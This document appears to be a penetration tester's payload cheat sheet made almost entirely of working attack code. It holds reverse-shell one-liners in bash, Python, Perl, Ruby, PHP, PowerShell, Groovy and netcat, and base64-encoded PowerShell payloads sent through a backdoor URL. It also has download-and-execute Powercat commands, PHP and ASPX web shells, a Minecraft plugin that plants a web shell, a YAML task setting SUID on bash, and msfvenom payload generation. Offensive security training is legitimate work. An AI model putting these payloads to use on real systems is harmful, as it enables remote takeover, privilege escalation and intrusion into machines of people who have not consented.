Payloads

Reverse Shells

Bash Reverse Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

If this not work try base64 encoded it can solve problems with the quotes

echo -n 'bash -i >& /dev/tcp/192.168.45.184/4444 0>&1' | base64

This encode in base64 the rev shell, and then we can use it like this:

echo <BASE64_PAYLOAD> | base64 -d | bash

curl Reverse Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

Groovy (Jenkins) Reverse Shell

String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

shell.jar

package <NAME>;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class Main extends JavaPlugin {
   @Override
   public void onDisable() {
     super.onDisable();
   }

@Override
public void onEnable() {
  final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
  try {
   Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
   } catch (IOException e) {
     e.printStackTrace();
   }

   super.onEnable();
  }
}

ASPX Reverse Shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp  > reverse.asp 

msfvenom -p windows/x64/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx > reverse.aspx

Lua Reverse Shell

http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")--

Markdown Reverse Shell

--';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--

mkfifo Reverse Shell

mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell

Netcat Reverse Shell

nc -e /bin/sh <LHOST> <LPORT>

Perl Reverse Shell

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP Reverse Shell

php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"); ?>

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

Powercat

Start a new terminal, copy Powercat to the home directory for the kali user, and start a Python3 web server in the same directory.

cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .

python3 -m http.server 80

Next, we'll start a third terminal tab to create a Netcat listener on port 4444 to catch the reverse shell.

nc -nvlp 4444
IEX (New-Object System.Net.Webclient).DownloadString("http://<ip>/powercat.ps1");powercat -c <ip> -p 4444 -e powershell 

Using URL Encoding:

curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F<IP>%2Fpowercat.ps1%22)%3Bpowercat%20-c%20<IP>%20-p%204444%20-e%20powershell' http://<IP>/archive

Use Encoded powershell payload

pwsh

PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.248",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'


PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

PS> $EncodedText =[Convert]::ToBase64String($Bytes)

PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0...

minireverse.ps1

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
        $writer.WriteLine($res)
    }
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Python Reverse Shell

python -c "import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"<Kali IP>", <Port>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Web Shells

PHP Web Shell

<?php system($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo system($_REQUEST['shell']): ?>

Templates

ASPX Web Shell

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->

Bad YAML

- hosts: localhost
  tasks:
    - name: badyml
      command: chmod +s /bin/bash

msfvenom

List the payloads

msfvenom -l payloads --platform windows --arch x64

Generate Payloads

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali> LPORT=4444 -f exe -o nonstaged.exe

PHP

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.221 LPORT=4444 -f raw -o exploit.pHP
msfvenom -p php/reverse_php LHOST=192.168.45.221 LPORT=4444 -f raw -o exploit.pHP

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